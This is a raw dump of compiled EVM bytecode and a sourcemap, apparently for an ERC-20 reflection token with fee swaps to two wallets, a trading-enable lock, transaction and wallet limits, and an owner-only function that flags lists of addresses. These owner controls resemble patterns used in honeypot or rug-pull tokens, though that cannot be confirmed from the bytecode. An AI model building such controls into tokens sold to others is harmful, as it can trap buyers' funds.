50809150509392505050565b5f600d548211156119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c590613048565b60405180910390fd5b5f6119d7611d86565b90506119ec8184611daf90919063ffffffff16565b915050919050565b6001600360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a2b57611a2a613066565b5b604051908082528060200260200182016040528015611a595781602001602082028036833780820191505090505b50905030815f81518110611a7057611a6f61295b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b3891906130a7565b81600181518110611b4c57611b4b61295b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bb23060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc7565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c149594939291906131c2565b5f604051808303815f87803b158015611c2b575f80fd5b505af1158015611c3d573d5f803e3d5ffd5b50505050505f600360156101000a81548160ff02191690831515021790555050565b5f600290505f8183611c719190612f75565b905060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cd7573d5f803e3d5ffd5b5060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600184611d209190612e46565b83611d2b9190612f07565b90811502906040515f60405180830381858888f19350505050158015611d53573d5f803e3d5ffd5b50505050565b80611d6757611d66611df8565b5b611d72848484611e31565b80611d8057611d7f611ff1565b5b50505050565b5f805f611d91612005565b91509150611da88183611daf90919063ffffffff16565b9250505090565b5f611df083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612061565b905092915050565b5f600854148015611e0a57505f600e54145b611e2f57600854600f81905550600e546010819055505f6008819055505f600e819055505b565b5f805f805f80611e40876120c2565b955095509550955095509550611e9c8660135f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461212290919063ffffffff16565b60135f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f2d8560135f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461216b90919063ffffffff16565b60135f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f77816121c8565b611f81848361227f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fde919061245e565b60405180910390a3505050505050505050565b600f54600881905550601054600e81905550565b5f805f600d5490505f670de0b6b3a76400009050612036670de0b6b3a7640000600d54611daf90919063ffffffff16565b82101561205457600d54670de0b6b3a764000093509350505061205d565b81819350935050505b9091565b5f80831182906120a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209e9190612501565b60405180910390fd5b505f83856120b59190612f75565b9050809150509392505050565b5f805f805f805f805f6120da8a600854600e546122b9565b9250925092505f6120e9611d86565b90505f805f6120fa8e87878761234b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f61216383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611926565b905092915050565b5f8082846121799190612e46565b9050838110156121be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b590613264565b60405180910390fd5b8091505092915050565b5f6121d1611d86565b90505f6121e782846123cf90919063ffffffff16565b90506122398160135f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461216b90919063ffffffff16565b60135f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b61229482600d5461212290919063ffffffff16565b600d819055506122af8160045461216b90919063ffffffff16565b6004819055505050565b5f805f806122e360646122d5888a6123cf90919063ffffffff16565b611daf90919063ffffffff16565b90505f61230c60646122fe888b6123cf90919063ffffffff16565b611daf90919063ffffffff16565b90505f61233482612326858c61212290919063ffffffff16565b61212290919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f8061236285896123cf90919063ffffffff16565b90505f61237886896123cf90919063ffffffff16565b90505f61238e87896123cf90919063ffffffff16565b90505f6123b6826123a8858761212290919063ffffffff16565b61212290919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f8083036123df575f9050612440565b5f82846123ec9190612f07565b90508284826123fb9190612f75565b1461243b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612432906132f2565b60405180910390fd5b809150505b92915050565b5f819050919050565b61245881612446565b82525050565b5f6020820190506124715f83018461244f565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156124ae578082015181840152602081019050612493565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124d382612477565b6124dd8185612481565b93506124ed818560208601612491565b6124f6816124b9565b840191505092915050565b5f6020820190508181035f83015261251981846124c9565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61255282612529565b9050919050565b61256281612548565b811461256c575f80fd5b50565b5f8135905061257d81612559565b92915050565b61258c81612446565b8114612596575f80fd5b50565b5f813590506125a781612583565b92915050565b5f80604083850312156125c3576125c2612521565b5b5f6125d08582860161256f565b92505060206125e185828601612599565b9150509250929050565b5f8115159050919050565b6125ff816125eb565b82525050565b5f6020820190506126185f8301846125f6565b92915050565b5f819050919050565b5f61264161263c61263784612529565b61261e565b612529565b9050919050565b5f61265282612627565b9050919050565b5f61266382612648565b9050919050565b61267381612659565b82525050565b5f60208201905061268c5f83018461266a565b92915050565b5f805f606084860312156126a9576126a8612521565b5b5f6126b68682870161256f565b93505060206126c78682870161256f565b92505060406126d886828701612599565b9150509250925092565b5f60ff82169050919050565b6126f7816126e2565b82525050565b5f6020820190506127105f8301846126ee565b92915050565b5f61272082612529565b9050919050565b61273081612716565b82525050565b5f6020820190506127495f830184612727565b92915050565b61275881612548565b82525050565b5f6020820190506127715f83018461274f565b92915050565b5f6020828403121561278c5761278b612521565b5b5f61279984828501612599565b91505092915050565b5f602082840312156127b7576127b6612521565b5b5f6127c48482850161256f565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126127ee576127ed6127cd565b5b8235905067ffffffffffffffff81111561280b5761280a6127d1565b5b602083019150836020820283011115612827576128266127d5565b5b9250929050565b612837816125eb565b8114612841575f80fd5b50565b5f813590506128528161282e565b92915050565b5f805f6040848603121561286f5761286e612521565b5b5f84013567ffffffffffffffff81111561288c5761288b612525565b5b612898868287016127d9565b935093505060206128ab86828701612844565b9150509250925092565b5f80604083850312156128cb576128ca612521565b5b5f6128d88582860161256f565b92505060206128e98582860161256f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612927602083612481565b9150612932826128f3565b602082019050919050565b5f6020820190508181035f8301526129548161291b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6129bf82612446565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036129f1576129f0612988565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612a56602683612481565b9150612a61826129fc565b604082019050919050565b5f6020820190508181035f830152612a8381612a4a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ae4602483612481565b9150612aef82612a8a565b604082019050919050565b5f6020820190508181035f830152612b1181612ad8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b72602283612481565b9150612b7d82612b18565b604082019050919050565b5f6020820190508181035f830152612b9f81612b66565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c00602583612481565b9150612c0b82612ba6565b604082019050919050565b5f6020820190508181035f830152612c2d81612bf4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612c8e602383612481565b9150612c9982612c34565b604082019050919050565b5f6020820190508181035f830152612cbb81612c82565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d1c602983612481565b9150612d2782612cc2565b604082019050919050565b5f6020820190508181035f830152612d4981612d10565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f612daa603f83612481565b9150612db582612d50565b604082019050919050565b5f6020820190508181035f830152612dd781612d9e565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f612e12601c83612481565b9150612e1d82612dde565b602082019050919050565b5f6020820190508181035f830152612e3f81612e06565b9050919050565b5f612e5082612446565b9150612e5b83612446565b9250828201905080821115612e7357612e72612988565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f612ed3602383612481565b9150612ede82612e79565b604082019050919050565b5f6020820190508181035f830152612f0081612ec7565b9050919050565b5f612f1182612446565b9150612f1c83612446565b9250828202612f2a81612446565b91508282048414831517612f4157612f40612988565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f7f82612446565b9150612f8a83612446565b925082612f9a57612f99612f48565b5b828204905092915050565b5f612faf82612446565b9150612fba83612446565b9250828203905081811115612fd257612fd1612988565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f613032602a83612481565b915061303d82612fd8565b604082019050919050565b5f6020820190508181035f83015261305f81613026565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506130a181612559565b92915050565b5f602082840312156130bc576130bb612521565b5b5f6130c984828501613093565b91505092915050565b5f819050919050565b5f6130f56130f06130eb846130d2565b61261e565b612446565b9050919050565b613105816130db565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61313d81612548565b82525050565b5f61314e8383613134565b60208301905092915050565b5f602082019050919050565b5f6131708261310b565b61317a8185613115565b935061318583613125565b805f5b838110156131b557815161319c8882613143565b97506131a78361315a565b925050600181019050613188565b5085935050505092915050565b5f60a0820190506131d55f83018861244f565b6131e260208301876130fc565b81810360408301526131f48186613166565b9050613203606083018561274f565b613210608083018461244f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61324e601b83612481565b91506132598261321a565b602082019050919050565b5f6020820190508181035f83015261327b81613242565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132dc602183612481565b91506132e782613282565b604082019050919050565b5f6020820190508181035f830152613309816132d0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202f8451f63373f804d384b11b694a900c7a0c08d526262038227573a8d6b0397c64736f6c63430008150033

Deployed Bytecode Sourcemap

4447:12364:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5077:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5218:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6561:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7486:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4528:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6984:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4213:227;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7687:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12205:137;;;;;;;;;;;;;:::i;:::-;;6747:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11897:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5147:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5810:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12632:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6838:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12350:230;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4128:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6652:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11803;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7279:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10307:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7087:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3878:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5077:57;;;;:::o;5218:49::-;;;;:::o;6561:83::-;6598:13;6631:5;;;;;;;;;;;;;;;;;6624:12;;6561:83;:::o;7486:193::-;7588:4;7610:39;7619:12;:10;:12::i;:::-;7633:7;7642:6;7610:8;:39::i;:::-;7667:4;7660:11;;7486:193;;;;:::o;4528:41::-;;;;;;;;;;;;;:::o;6984:95::-;7037:7;5309:21;7057:14;;6984:95;:::o;4213:227::-;3803:12;:10;:12::i;:::-;3793:22;;:6;;;;;;;;;;;:22;;;3785:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4351:1:::1;4314:40;;4335:6;;;;;;;;;;;4314:40;;;;;;;;;;;;4398:4;4365:11;:22:::0;4377:9:::1;4365:22;;;;;;;;;;;;;;;:30;4388:6;;;;;;;;;;;4365:30;;;;;;;;;;;;;;;:37;;;;4430:1;4413:6;;:19;;;;;;;;;;;;;;;;;;4213:227:::0;;:::o;7687:446::-;7819:4;7836:36;7846:6;7854:9;7865:6;7836:9;:36::i;:::-;7883:220;7906:6;7927:12;:10;:12::i;:::-;7954:138;8010:6;7954:138;;;;;;;;;;;;;;;;;:11;:19;7966:6;7954:19;;;;;;;;;;;;;;;:33;7974:12;:10;:12::i;:::-;7954:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7883:8;:220::i;:::-;8121:4;8114:11;;7687:446;;;;;:::o;12205:137::-;3803:12;:10;:12::i;:::-;3793:22;;:6;;;;;;;;;;;:22;;;3785:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5309:21:::1;12262:20;:30;;;;5309:21;12303;:31;;;;12205:137::o:0;6747:83::-;6788:5;5802:1;6806:16;;6747:83;:::o;11897:93::-;;;;;;;;;;;;;:::o;5147:58::-;;;;:::o;5810:27::-;;;;;;;;;;;;;:::o;12632:132::-;3803:12;:10;:12::i;:::-;3793:22;;:6;;;;;;;;;;;:22;;;3785:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12738:18:::1;12719:16;:37;;;;12632:132:::0;:::o;6838:138::-;6904:7;6931:37;6951:7;:16;6959:7;6951:16;;;;;;;;;;;;;;;;6931:19;:37::i;:::-;6924:44;;6838:138;;;:::o;12350:230::-;3803:12;:10;:12::i;:::-;3793:22;;:6;;;;;;;;;;;:22;;;3785:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12463:9:::1;12459:114;12482:8;;:15;;12478:1;:19;12459:114;;;12553:8;12519:18;:31;12538:8;;12547:1;12538:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12519:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;12499:3;;;;;:::i;:::-;;;;12459:114;;;;12350:230:::0;;;:::o;4128:79::-;4166:7;4193:6;;;;;;;;;;;4186:13;;4128:79;:::o;6652:87::-;6691:13;6724:7;;;;;;;;;;;;;;;;;6717:14;;6652:87;:::o;11803:::-;;;;;;;;;;;;;:::o;7279:199::-;7384:4;7406:42;7416:12;:10;:12::i;:::-;7430:9;7441:6;7406:9;:42::i;:::-;7466:4;7459:11;;7279:199;;;;:::o;10307:122::-;3803:12;:10;:12::i;:::-;3793:22;;:6;;;;;;;;;;;:22;;;3785:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10391:4:::1;10376:12;;:19;;;;;;;;;;;;;;;;;;10411:10;10396:12;;:25;;;;;;;;;;;;;;;;;;10307:122:::0;:::o;7087:184::-;7204:7;7236:11;:18;7248:5;7236:18;;;;;;;;;;;;;;;:27;7255:7;7236:27;;;;;;;;;;;;;;;;7229:34;;7087:184;;;;:::o;3878:244::-;3803:12;:10;:12::i;:::-;3793:22;;:6;;;;;;;;;;;:22;;;3785:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3987:1:::1;3967:22;;:8;:22;;::::0;3959:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4077:8;4048:38;;4069:6;;;;;;;;;;;4048:38;;;;;;;;;;;;4106:8;4097:6;;:17;;;;;;;;;;;;;;;;;;3878:244:::0;:::o;2447:98::-;2500:7;2527:10;2520:17;;2447:98;:::o;8141:369::-;8285:1;8268:19;;:5;:19;;;8260:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8366:1;8347:21;;:7;:21;;;8339:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8448:6;8418:11;:18;8430:5;8418:18;;;;;;;;;;;;;;;:27;8437:7;8418:27;;;;;;;;;;;;;;;:36;;;;8486:7;8470:32;;8479:5;8470:32;;;8495:6;8470:32;;;;;;:::i;:::-;;;;;;;;8141:369;;;:::o;12772:2388::-;12910:1;12894:18;;:4;:18;;;12886:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12987:1;12973:16;;:2;:16;;;12965:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13057:1;13048:6;:10;13040:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13143:7;:5;:7::i;:::-;13135:15;;:4;:15;;;;:32;;;;;13160:7;:5;:7::i;:::-;13154:13;;:2;:13;;;;13135:32;13117:1362;;;13232:12;;;;;;;;;;;13227:207;;13303:7;:5;:7::i;:::-;13295:15;;:4;:15;;;13265:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;13227:207;13486:20;;13476:6;:30;;13450:120;;;;;;;;;;;;:::i;:::-;;;;;;;;;13608:12;;;;;;;;;;;13602:18;;:2;:18;;;13599:170;;13674:21;;13665:6;13649:13;13659:2;13649:9;:13::i;:::-;:22;;;;:::i;:::-;:46;13641:112;;;;;;;;;;;;:::i;:::-;;;;;;;;;13599:170;13785:29;13817:24;13835:4;13817:9;:24::i;:::-;13785:56;;13868:12;13908:16;;13883:21;:41;;13868:56;;13967:20;;13942:21;:45;13939:94;;14013:20;;13989:44;;13939:94;14052:7;:39;;;;;14082:9;;;;;;;;;;;14081:10;14052:39;:81;;;;;14121:12;;;;;;;;;;;14113:20;;:4;:20;;;;14052:81;:115;;;;;14155:12;;;;;;;;;;;14052:115;:160;;;;;14190:18;:22;14209:2;14190:22;;;;;;;;;;;;;;;;;;;;;;;;;14189:23;14052:160;:207;;;;;14235:18;:24;14254:4;14235:24;;;;;;;;;;;;;;;;;;;;;;;;;14234:25;14052:207;14048:420;;;14294:31;14303:21;14294:8;:31::i;:::-;14344:18;14365:21;14344:42;;14422:1;14409:10;:14;14405:47;;;14425:27;14450:1;14446;14433:10;:14;;;;:::i;:::-;:18;;;;:::i;:::-;14425:7;:27::i;:::-;14405:47;14275:193;14048:420;13179:1300;;13117:1362;14489:13;14505:4;14489:20;;14525:18;:24;14544:4;14525:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;14553:18;:22;14572:2;14553:22;;;;;;;;;;;;;;;;;;;;;;;;;14525:50;14524:100;;;;14589:12;;;;;;;;;;;14581:20;;:4;:20;;;;:42;;;;;14611:12;;;;;;;;;;;14605:18;;:2;:18;;;;14581:42;14524:100;14520:571;;;14652:5;14641:16;;14520:571;;;14710:12;;;;;;;;;;;14702:20;;:4;:20;;;:54;;;;;14740:15;;;;;;;;;;;14726:30;;:2;:30;;;;14702:54;14699:175;;;14790:16;;14777:10;:29;;;;14845:13;;14825:17;:33;;;;14699:175;14912:12;;;;;;;;;;;14906:18;;:2;:18;;;:54;;;;;14944:15;;;;;;;;;;;14928:32;;:4;:32;;;;14906:54;14902:178;;;14994:17;;14981:10;:30;;;;15050:14;;15030:17;:34;;;;14902:178;14520:571;15101:51;15125:4;15131:2;15135:6;15143:8;15101:23;:51::i;:::-;12875:2285;12772:2388;;;:::o;673:224::-;793:7;826:1;821;:6;;829:12;813:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;853:9;869:1;865;:5;;;;:::i;:::-;853:17;;888:1;881:8;;;673:224;;;;;:::o;9976:323::-;10071:7;10129;;10118;:18;;10096:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;10217:19;10239:10;:8;:10::i;:::-;10217:32;;10267:24;10279:11;10267:7;:11;;:24;;;;:::i;:::-;10260:31;;;9976:323;;;:::o;15168:474::-;4737:4;4725:9;;:16;;;;;;;;;;;;;;;;;;15237:21:::1;15275:1;15261:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15237:40;;15306:4;15288;15293:1;15288:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;15332:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15322:4;15327:1;15322:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;15365:62;15382:4;15397:15;;;;;;;;;;;15415:11;15365:8;:62::i;:::-;15438:15;;;;;;;;;;;:66;;;15519:11;15545:1;15561:4;15588;15608:15;15438:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;15226:416;4776:5:::0;4764:9;;:17;;;;;;;;;;;;;;;;;;15168:474;:::o;11547:248::-;11599:20;11622:1;11599:24;;11634:18;11664:12;11655:6;:21;;;;:::i;:::-;11634:42;;11687:10;;;;;;;;;;;:19;;:31;11707:10;11687:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11729:16;;;;;;;;;;;:25;;:58;11784:1;11769:12;:16;;;;:::i;:::-;11755:10;:31;;;;:::i;:::-;11729:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11588:207;;11547:248;:::o;16459:349::-;16623:6;16618:51;;16646:11;:9;:11::i;:::-;16618:51;16679:47;16700:6;16708:9;16719:6;16679:20;:47::i;:::-;16742:6;16737:64;;16777:12;:10;:12::i;:::-;16737:64;16459:349;;;;:::o;9064:164::-;9106:7;9127:15;9144;9163:19;:17;:19::i;:::-;9126:56;;;;9200:20;9212:7;9200;:11;;:20;;;;:::i;:::-;9193:27;;;;9064:164;:::o;1532:132::-;1590:7;1617:39;1621:1;1624;1617:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1610:46;;1532:132;;;;:::o;10660:241::-;10718:1;10704:10;;:15;:41;;;;;10744:1;10723:17;;:22;10704:41;10747:7;10700:54;10788:10;;10764:21;:34;;;;10828:17;;10809:16;:36;;;;10860:1;10847:10;:14;;;;10892:1;10872:17;:21;;;;10660:241;:::o;15697:612::-;15847:15;15877:23;15915:12;15942:23;15980:12;16007:13;16034:19;16045:7;16034:10;:19::i;:::-;15832:221;;;;;;;;;;;;16082:28;16102:7;16082;:15;16090:6;16082:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;16064:7;:15;16072:6;16064:15;;;;;;;;;;;;;;;:46;;;;16142:39;16165:15;16142:7;:18;16150:9;16142:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;16121:7;:18;16129:9;16121:18;;;;;;;;;;;;;;;:60;;;;16192:18;16204:5;16192:11;:18::i;:::-;16212:29;16230:4;16236;16212:17;:29::i;:::-;16274:9;16257:44;;16266:6;16257:44;;;16285:15;16257:44;;;;;;:::i;:::-;;;;;;;;15821:488;;;;;;15697:612;;;:::o;16317:130::-;16371:21;;16358:10;:34;;;;16423:16;;16403:17;:36;;;;16317:130::o;9236:257::-;9287:7;9296;9316:15;9334:7;;9316:25;;9352:15;5309:21;9352:25;;9402:20;5309:21;9402:7;;:11;;:20;;;;:::i;:::-;9392:7;:30;9388:61;;;9432:7;;5309:21;9424:25;;;;;;;;9388:61;9468:7;9477;9460:25;;;;;;9236:257;;;:::o;1159:223::-;1279:7;1311:1;1307;:5;1314:12;1299:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1338:9;1354:1;1350;:5;;;;:::i;:::-;1338:17;;1373:1;1366:8;;;1159:223;;;;;:::o;10909:626::-;11009:7;11031;11053;11075;11097;11119;11155:23;11180:12;11194:13;11224:51;11236:7;11245:10;;11257:17;;11224:11;:51::i;:::-;11154:121;;;;;;11286:19;11308:10;:8;:10::i;:::-;11286:32;;11330:15;11347:23;11372:12;11401:46;11413:7;11422:4;11428:5;11435:11;11401;:46::i;:::-;11329:118;;;;;;11466:7;11475:15;11492:4;11498:15;11515:4;11521:5;11458:69;;;;;;;;;;;;;;;;;;;10909:626;;;;;;;:::o;1388:136::-;1446:7;1473:43;1477:1;1480;1473:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1466:50;;1388:136;;;;:::o;488:179::-;546:7;566:9;582:1;578;:5;;;;:::i;:::-;566:17;;607:1;602;:6;;594:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;658:1;651:8;;;488:179;;;;:::o;10437:213::-;10492:19;10514:10;:8;:10::i;:::-;10492:32;;10535:13;10551:22;10561:11;10551:5;:9;;:22;;;;:::i;:::-;10535:38;;10609:33;10636:5;10609:7;:22;10625:4;10609:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;10584:7;:22;10600:4;10584:22;;;;;;;;;;;;;;;:58;;;;10481:169;;10437:213;:::o;11999:163::-;12083:17;12095:4;12083:7;;:11;;:17;;;;:::i;:::-;12073:7;:27;;;;12129:25;12149:4;12129:15;;:19;;:25;;;;:::i;:::-;12111:15;:43;;;;11999:163;;:::o;9501:467::-;9669:7;9691;9713;9748:12;9763:29;9788:3;9763:20;9775:7;9763;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;9748:44;;9803:13;9819:28;9843:3;9819:19;9831:6;9819:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;9803:44;;9858:23;9884:28;9906:5;9884:17;9896:4;9884:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;9858:54;;9931:15;9948:4;9954:5;9923:37;;;;;;;;;9501:467;;;;;;;:::o;8522:534::-;8716:7;8738;8760;8795:15;8813:24;8825:11;8813:7;:11;;:24;;;;:::i;:::-;8795:42;;8848:12;8863:21;8872:11;8863:4;:8;;:21;;;;:::i;:::-;8848:36;;8895:13;8911:22;8921:11;8911:5;:9;;:22;;;;:::i;:::-;8895:38;;8944:23;8970:28;8992:5;8970:17;8982:4;8970:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;8944:54;;9017:7;9026:15;9043:4;9009:39;;;;;;;;;;8522:534;;;;;;;;:::o;905:246::-;963:7;992:1;987;:6;983:47;;1017:1;1010:8;;;;983:47;1040:9;1056:1;1052;:5;;;;:::i;:::-;1040:17;;1085:1;1080;1076;:5;;;;:::i;:::-;:10;1068:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1142:1;1135:8;;;905:246;;;;;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;442:99::-;494:6;528:5;522:12;512:22;;442:99;;;:::o;547:169::-;631:11;665:6;660:3;653:19;705:4;700:3;696:14;681:29;;547:169;;;;:::o;722:246::-;